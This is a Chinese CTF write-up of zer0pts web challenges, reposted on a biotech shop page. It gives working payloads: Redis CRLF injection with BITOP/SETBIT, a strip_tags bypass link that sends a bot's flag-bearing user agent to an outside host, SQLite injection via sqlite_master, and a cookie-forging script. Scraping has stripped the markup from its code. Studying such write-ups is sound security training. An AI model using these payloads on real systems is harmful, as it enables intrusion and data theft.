4000-520-616
欢迎来到免疫在线!(蚂蚁淘生物旗下平台)  请登录 |  免费注册 |  询价篮
主营:原厂直采,平行进口,授权代理(蚂蚁淘为您服务)
咨询热线电话
4000-520-616
当前位置: 首页 > 新闻动态 >
热卖商品
新闻详情
zer0pts CTF writeup - 安全客,安全资讯平台
来自 : 安全客 发布时间:2021-03-24
proxy = {\'http\': \'http://127.0.0.1:1087/\'} secret = b\'\\xe4xed}wxfd3xdcx1fxd72x07/Cxa9I\' url = \'http://3.112.201.75:8001/\' pat = r\" li a href=\"/note/(d+)\" .*s+ hr \" flag = \'\' for i in range(0, 40): cookie = gen_cookie(i) resp = requests.get(url, proxies=proxy, cookies={\'session\': cookie}) find = re.findall(pat, resp.text) if find: flag += chr(int(find[0]) + 1) print(flag)urlapp

题目源码:

require \'sinatra\'require \'uri\'require \'socket\'def connect() sock = TCPSocket.open(\"redis\", 6379) if not ping(sock) then exit return sockdef query(sock, cmd) sock.write(cmd + \"rn\")def recv(sock) data = sock.gets if data == nil then return nil elsif data[0] == \"+\" then return data[1..-1].strip elsif data[0] == \"$\" then if data == \"$-1rn\" then return nil return sock.gets.strip return nildef ping(sock) query(sock, \"ping\") return recv(sock) == \"PONG\"def set(sock, key, value) query(sock, \"SET #{key} #{value}\") return recv(sock) == \"OK\"def get(sock, key) query(sock, \"GET #{key}\") return recv(sock)before do sock = connect() set(sock, \"flag\", File.read(\"flag.txt\").strip)get \'/\' do if params.has_key?(:q) then q = params[:q] if not (q =~ /^[0-9a-f]{16}$/) return sock = connect() url = get(sock, q) redirect url send_file \'index.html\'post \'/\' do if not params.has_key?(:url) then return url = params[:url] if not (url =~ URI.regexp) then return key = Random.urandom(8).unpack(\"H*\")[0] sock = connect() set(sock, key, url) \"#{request.host}:#{request.port}/?q=#{key}\"

redis配置文件中ban掉了一些命令:

rename-command AUTH \"\"rename-command RENAME \"\"rename-command RENAMENX \"\"rename-command FLUSHDB \"\"rename-command FLUSHALL \"\"rename-command MULTI \"\"rename-command EXEC \"\"rename-command DISCARD \"\"rename-command WATCH \"\"rename-command UNWATCH \"\"rename-command SUBSCRIBE \"\"rename-command UNSUBSCRIBE \"\"rename-command PUBLISH \"\"rename-command SAVE \"\"rename-command BGSAVE \"\"rename-command LASTSAVE \"\"rename-command SHUTDOWN \"\"rename-command BGREWRITEAOF \"\"rename-command INFO \"\"rename-command MONITOR \"\"rename-command SLAVEOF \"\"rename-command CONFIG \"\"rename-command CLIENT \"\"rename-command CLUSTER \"\"rename-command DEBUG \"\"rename-command EVAL \"\"rename-command EVALSHA \"\"rename-command PSUBSCRIBE \"\"rename-command PUBSUB \"\"rename-command READONLY \"\"rename-command READWRITE \"\"rename-command SCRIPT \"\"rename-command REPLICAOF \"\"rename-command SYNC \"\"rename-command PSYNC \"\"rename-command WAIT \"\"rename-command LATENCY \"\"rename-command MEMORY \"\"rename-command MODULE \"\"rename-command MIGRATE \"\"

功能很简单,就是个URL缩短,用redis作存储。
漏洞也很明显,url可控,可以通过CRLF注入直接操作redis。

\"\"

难点在于redis.conf里ban掉了很多有利用价值的命令。

我的思路是利用某个命令把flag键拷贝到一个新的满足/^[0-9a-f]{16}$/的键里,再读取。

从 https://redis.io/commands/bitop 找到了BITOP命令,可以对key做位运算,并把结果保存到新key里。

\"\"

所以我尝试了以下payload:

SET tmp 1BITOP XOR 2f2f2f2f2f2f2f2f flag tmp

然后读取2f2f2f2f2f2f2f2f的时候发现失败了。
猜测问题出在这个redirect上,

\"\"

flag的格式是zer0pts{[a-zA-Z0-9_+!?]+},其中{是特殊符号,reidrect可能把flag当成完整url解析,于是出错了。

所以我们要在结果前面插入个/或者?,让他变成相对路径。这样flag就算有特殊符号,也是在path部分,不会解析出错。

我们可以用setbit来改变key的某一位。
刚才用BITOP把flag和1异或完之后,第一位由z变成了K。

K的二进制是0100 1011?的二进制是0011 1111

用setbit把K变成?需要移动1、2、3、5这4位。
最终的payload:

SET tmp 1BITOP XOR 2f2f2f2f2f2f2f2f flag tmpsetbit 2f2f2f2f2f2f2f2f 1 0setbit 2f2f2f2f2f2f2f2f 2 1setbit 2f2f2f2f2f2f2f2f 3 1setbit 2f2f2f2f2f2f2f2f 5 1

\"\"

\"\"

MusicBlog

源码里给了个浏览器bot脚本:

// (snipped)const flag = \'zer0pts{ censored // (snipped)const crawl = async (url) = { console.log(`[+] Query! (${url})`); const page = await browser.newPage(); try { await page.setUserAgent(flag); await page.goto(url, { waitUntil: \'networkidle0\', timeout: 10 * 1000, await page.click(\'#like\'); } catch (err){ console.log(err); await page.close(); console.log(`[+] Done! (${url})`)// (snipped)

功能是点击id为like的标签,flag在浏览器UA里。

在content字段中可以插入html标签,

\"\"

但有过滤,只允许 audio 标签。

// [[URL]] → audio src=\"URL\" /audio function render_tags($str) { $str = preg_replace(\'/[[(.+?)]]/\', \' audio controls src=\"\\1\" /audio \', $str); $str = strip_tags($str, \' audio // only allows ` audio ` return $str;

而 audio 受以下CSP的限制,无法跨域请求:

default-src \'self\'; object-src \'none\'; script-src \'nonce-WDUi2CFdH+uvn+zBovdIQQ==\' \'strict-dynamic\'; base-uri \'none\'; trusted-types

网站提供的功能不多,没有可以可以用来绕过CSP进行XSS的点。

搜索之后发现,strip_tags()这个函数1是有问题的:https://bugs.php.net/bug.php?id=78814

它允许标签里出现斜线,猜测这是为了匹配闭合标签的。但是没有判断斜线的位置,在哪出现都可以:

\"\"

显然 a/udio 在浏览器里会解析成 a 标签,而超链接的跳转是不受CSP限制的。

所以我们的payload如下:

 a/udio id=like href=//xxx.me/ 

在浏览器里解析出来是:

\"\"

bot点击id为like的标签就会带出flag。

这题不能算XSS,实质还是Dom Clobbering,通过注入看似无害的标签和属性来影响页面的正常功能。

phpNantokaAdmin

题目源码:
index.php

 ?phpinclude \'util.php\';include \'config.php\';error_reporting(0);session_start();$method = (string) ($_SERVER[\'REQUEST_METHOD\'] ?? \'GET\');$page = (string) ($_GET[\'page\'] ?? \'index\');if (!in_array($page, [\'index\', \'create\', \'insert\', \'delete\'])) { redirect(\'?page=index\');$message = $_SESSION[\'flash\'] ?? \'\';unset($_SESSION[\'flash\']);if (in_array($page, [\'insert\', \'delete\']) !isset($_SESSION[\'database\'])) { flash(\"Please create database first.\");if (isset($_SESSION[\'database\'])) { $pdo = new PDO(\'sqlite:db/\' . $_SESSION[\'database\']); $stmt = $pdo- query(\"SELECT name FROM sqlite_master WHERE type=\'table\' AND name \'\" . FLAG_TABLE . \"\' LIMIT 1;\"); $table_name = $stmt- fetch(PDO::FETCH_ASSOC)[\'name\']; $stmt = $pdo- query(\"PRAGMA table_info(`{$table_name}`);\"); $column_names = $stmt- fetchAll(PDO::FETCH_ASSOC);if ($page === \'insert\' $method === \'POST\') { $values = $_POST[\'values\']; $stmt = $pdo- prepare(\"INSERT INTO `{$table_name}` VALUES (?\" . str_repeat(\',?\', count($column_names) - 1) . \")\"); $stmt- execute($values); redirect(\'?page=index\');if ($page === \'create\' $method === \'POST\' !isset($_SESSION[\'database\'])) { if (!isset($_POST[\'table_name\']) || !isset($_POST[\'columns\'])) { flash(\'Parameters missing.\'); $table_name = (string) $_POST[\'table_name\']; $columns = $_POST[\'columns\']; $filename = bin2hex(random_bytes(16)) . \'.db\'; $pdo = new PDO(\'sqlite:db/\' . $filename); if (!is_valid($table_name)) { flash(\'Table name contains dangerous characters.\'); if (strlen($table_name) 4 || 32 strlen($table_name)) { flash(\'Table name must be 4-32 characters.\'); if (count($columns) = 0 || 10 count($columns)) { flash(\'Number of columns is up to 10.\'); $sql = \"CREATE TABLE {$table_name} (\"; $sql .= \"dummy1 TEXT, dummy2 TEXT\"; for ($i = 0; $i count($columns); $i++) { $column = (string) ($columns[$i][\'name\'] ?? \'\'); $type = (string) ($columns[$i][\'type\'] ?? \'\'); if (!is_valid($column) || !is_valid($type)) { flash(\'Column name or type contains dangerous characters.\'); if (strlen($column) 1 || 32 strlen($column) || strlen($type) 1 || 32 strlen($type)) { flash(\'Column name and type must be 1-32 characters.\'); $sql .= \', \'; $sql .= \"`$column` $type\"; $sql .= \');\'; $pdo- query(\'CREATE TABLE `\' . FLAG_TABLE . \'` (`\' . FLAG_COLUMN . \'` TEXT);\'); $pdo- query(\'INSERT INTO `\' . FLAG_TABLE . \'` VALUES (\"\' . FLAG . \'\");\'); $pdo- query($sql); $_SESSION[\'database\'] = $filename; redirect(\'?page=index\');if ($page === \'delete\') { $_SESSION = array(); session_destroy(); redirect(\'?page=index\');if ($page === \'index\' isset($_SESSION[\'database\'])) { $stmt = $pdo- query(\"SELECT * FROM `{$table_name}`;\"); if ($stmt === FALSE) { $_SESSION = array(); session_destroy(); redirect(\'?page=index\'); $result = $stmt- fetchAll(PDO::FETCH_NUM); !doctype html  html lang=\"en\"  head  meta charset=\"utf-8\"  link rel=\"stylesheet\" href=\"style.css\"  script src=\"https://code.jquery.com/jquery-3.4.1.min.js\" integrity=\"sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=\" crossorigin=\"anonymous\" /script  title phpNantokaAdmin /title  /head  body  h1 phpNantokaAdmin /h1  ?php if (!empty($message)) { ?  div Message: ?= $message ? /div  ?php } ?  ?php if ($page === \'index\') { ?  ?php if (isset($_SESSION[\'database\'])) { ?  h2 ?= e($table_name) ? ( a href=\"?page=delete\" Delete table /a ) /h2  form action=\"?page=insert\" method=\"POST\"  table  ?php for ($i = 0; $i count($column_names); $i++) { ?  th ?= e($column_names[$i][\'name\']) ? /th  ?php } ?  /tr  ?php for ($i = 0; $i count($result); $i++) { ?  ?php for ($j = 0; $j count($result[$i]); $j++) { ?  td ?= e($result[$i][$j]) ? /td  ?php } ?  /tr  ?php } ?  ?php for ($i = 0; $i count($column_names); $i++) { ?  td input type=\"text\" name=\"values[]\" /td  ?php } ?  /tr  /table  input type=\"submit\" value=\"Insert values\"  /form  ?php } else { ?  h2 Create table /h2  form action=\"?page=create\" method=\"POST\"  div id=\"info\"  label Table name (4-32 chars): input type=\"text\" name=\"table_name\" id=\"table_name\" value=\"neko\" /label br  label Number of your columns ( = 10): input type=\"number\" min=\"1\" max=\"10\" id=\"num\" value=\"1\" /label br  button id=\"next\" Next /button  /div  div id=\"table\"  table  th Name /th  th Type /th  /tr  td dummy1 /td  td TEXT /td  /tr  td dummy2 /td  td TEXT /td  /tr  /table  input type=\"submit\" value=\"Create table\"  /div  /form  script  $(\'#next\').on(\'click\', () = { let num = parseInt($(\'#num\').val(), 10); let len = $(\'#table_name\').val().length; if (4 = len len = 32 0 num num = 10) { $(\'#info\').addClass(\'hidden\'); $(\'#table\').removeClass(\'hidden\'); for (let i = 0; i num; i++) { $(\'#table table\').append($(` td input type=\"text\" name=\"columns[${i}][name]\" /td  select name=\"columns[${i}][type]\"  option value=\"INTEGER\" INTEGER /option  option value=\"REAL\" REAL /option  option value=\"TEXT\" TEXT /option  /select  /td  /tr  return false; /script  ?php } ?  ?php } ?  /body  /html 

util.php:

 ?phpfunction redirect($path) { header(\'Location: \' . $path); exit();function flash($message, $path = \'?page=index\') { $_SESSION[\'flash\'] = $message; redirect($path);function e($string) { return htmlspecialchars($string, ENT_QUOTES);function is_valid($string) { $banword = [ // comment out, calling function... \"[\"#\'()*,\\/\\\\`-]\" $regexp = \'/\' . implode(\'|\', $banword) . \'/i\'; if (preg_match($regexp, $string)) { return false; return true;

table_name和columns参数存在SQL注入,但是我们不知道flag的表名和列名。
每个sqlite都有一个自动创建的库sqlite_master,里面保存了所有表名以及创建表时的create语句。我们可以从中获取到flag的表名和字段名。

另一个知识点,在创建表时可以用as来复制另一个表中的数据。这里我们就可以用as select sql from sqlite_master来复制sqlite_master的sql字段。

另一个问题,这里拼接的这一串字符是在as后面的,会影响后面的sql正常执行。

\"\"

因为后面的$column也可控,所以这里可以用as \"...\"来把这一段干扰字符闭合到查询的别名里。双引号被过滤了,在sqlite中可以用中括号[]来代替。

构造出payload:

table_name=aaa as select sql as[ columns[0][name]=]from sqlite_master; columns[0][type]=2// select别名的as也可以省略table_name=aaa as select sql [ columns[0][name]=]from sqlite_master; columns[0][type]=2

\"\"

得到表名和列名,再从中复制出flag:

table_name=aaa as select flag_2a2d04c3 as[ columns[0][name]=]from flag_bf1811da; columns[0][type]=2

\"\"

 

CTF中经常考察一些函数的小bug,但是我们在做题的时候如果没见过又不知道怎么搜索。这里给刚入门的同学分享找php函数bug的一个小技巧:funcName site:bugs.php.net。基本所有的php相关的问题都会收录在bugs.php.net。

本文链接: http://nutricepts.immuno-online.com/view-701838.html

发布于 : 2021-03-24 阅读(0)
公司介绍
品牌分类
联络我们
服务热线:4000-520-616
(限工作日9:00-18:00)
QQ :1570468124
手机:18915418616